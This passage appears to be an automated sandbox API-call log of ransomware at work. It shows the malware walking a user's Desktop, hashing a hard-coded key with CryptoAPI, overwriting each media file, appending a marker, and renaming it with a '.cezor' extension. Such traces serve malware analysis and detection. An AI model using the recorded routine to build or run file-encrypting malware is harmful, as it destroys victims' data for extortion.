out: hHeap=0x670000) returned 1 [0059.890] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nXxNQgqy6gVdEPQ.bmp") returned=".bmp" [0059.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nXxNQgqy6gVdEPQ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nxxnqgqy6gvdepq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.890] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=91099) returned 1 [0059.890] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.892] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x163b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.892] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.894] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.894] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.894] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.894] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x163db, lpOverlapped=0x0) returned 1 [0059.895] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.895] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.895] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.895] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.895] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ec50) returned 1 [0059.896] CryptCreateHash (in: hProv=0x74ec50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.896] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.896] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.896] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.896] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.896] GetLastError () returned 0x0 [0059.896] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.896] CryptReleaseContext (hProv=0x74ec50, dwFlags=0x0) returned 1 [0059.896] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.896] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x163e0) returned 0x3132418 [0059.896] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.896] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.896] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x163d6, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x163d6, lpOverlapped=0x0) returned 1 [0059.897] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.897] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x163db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.897] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.897] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0059.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.897] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0059.897] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.897] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.897] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.897] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.897] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.897] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.897] CloseHandle (hObject=0x5c4) returned 1 [0059.898] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0059.898] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0059.898] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0059.898] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nXxNQgqy6gVdEPQ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nxxnqgqy6gvdepq.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nXxNQgqy6gVdEPQ.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nxxnqgqy6gvdepq.bmp.cezor")) returned 1 [0059.899] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.899] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.900] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.900] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a443d0, ftCreationTime.dwHighDateTime=0x1d4c673, ftLastAccessTime.dwLowDateTime=0xb880f290, ftLastAccessTime.dwHighDateTime=0x1d4d21d, ftLastWriteTime.dwLowDateTime=0xb880f290, ftLastWriteTime.dwHighDateTime=0x1d4d21d, nFileSizeHigh=0x0, nFileSizeLow=0x971b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OjEEOfskM8q.m4a", cAlternateFileName="OJEEOF~1.M4A")) returned 1 [0059.900] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.900] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.900] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.900] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OjEEOfskM8q.m4a") returned=".m4a" [0059.900] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OjEEOfskM8q.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ojeeofskm8q.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.900] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=38683) returned 1 [0059.900] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.903] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x96f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.903] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.903] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.903] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0059.904] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.904] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x971b, lpOverlapped=0x0) returned 1 [0059.904] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.904] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.904] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.904] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.904] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.905] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.905] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.905] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.905] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.905] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.905] GetLastError () returned 0x0 [0059.905] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.905] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.905] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.905] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x9720) returned 0x3132418 [0059.905] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.905] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.905] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x9716, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x9716, lpOverlapped=0x0) returned 1 [0059.905] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.905] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x971b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.906] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.906] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0059.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.906] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.906] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.906] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.906] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.906] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.906] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.906] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.906] CloseHandle (hObject=0x5c4) returned 1 [0059.907] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.907] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0059.907] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.907] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OjEEOfskM8q.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ojeeofskm8q.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OjEEOfskM8q.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ojeeofskm8q.m4a.cezor")) returned 1 [0059.907] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.907] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.908] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.908] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7804b600, ftCreationTime.dwHighDateTime=0x1d4cb94, ftLastAccessTime.dwLowDateTime=0x509aa070, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0x509aa070, ftLastWriteTime.dwHighDateTime=0x1d4d49a, nFileSizeHigh=0x0, nFileSizeLow=0x6ede, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pdn3smOfWiyL_KFEcP0.mp4", cAlternateFileName="PDN3SM~1.MP4")) returned 1 [0059.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.909] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.909] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pdn3smOfWiyL_KFEcP0.mp4") returned=".mp4" [0059.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pdn3smOfWiyL_KFEcP0.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pdn3smofwiyl_kfecp0.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.909] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=28382) returned 1 [0059.909] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.911] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6eb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.911] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.912] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.912] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.912] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.912] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x6ede, lpOverlapped=0x0) returned 1 [0059.912] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.912] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.912] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.912] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.912] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ec50) returned 1 [0059.913] CryptCreateHash (in: hProv=0x74ec50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.913] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.913] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.913] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.913] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.913] GetLastError () returned 0x0 [0059.913] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.913] CryptReleaseContext (hProv=0x74ec50, dwFlags=0x0) returned 1 [0059.913] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.913] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6ee0) returned 0x3132418 [0059.913] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.914] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x6ed9, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x6ed9, lpOverlapped=0x0) returned 1 [0059.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.914] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.914] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.914] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0059.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.914] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0059.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.914] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.914] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.914] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.914] CloseHandle (hObject=0x5c4) returned 1 [0059.915] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0059.915] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0059.915] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0059.915] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pdn3smOfWiyL_KFEcP0.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pdn3smofwiyl_kfecp0.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pdn3smOfWiyL_KFEcP0.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pdn3smofwiyl_kfecp0.mp4.cezor")) returned 1 [0059.916] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.916] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.917] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c742b0, ftCreationTime.dwHighDateTime=0x1d4ce6c, ftLastAccessTime.dwLowDateTime=0x6d20dac0, ftLastAccessTime.dwHighDateTime=0x1d4c739, ftLastWriteTime.dwLowDateTime=0x6d20dac0, ftLastWriteTime.dwHighDateTime=0x1d4c739, nFileSizeHigh=0x0, nFileSizeLow=0x133e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PoDqxcM TSaz.swf", cAlternateFileName="PODQXC~1.SWF")) returned 1 [0059.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.917] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PoDqxcM TSaz.swf") returned=".swf" [0059.917] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PoDqxcM TSaz.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\podqxcm tsaz.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.917] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=78819) returned 1 [0059.917] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.920] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x133bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.920] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.920] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.920] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.920] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x133e3, lpOverlapped=0x0) returned 1 [0059.921] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.921] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.921] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.921] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.922] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: 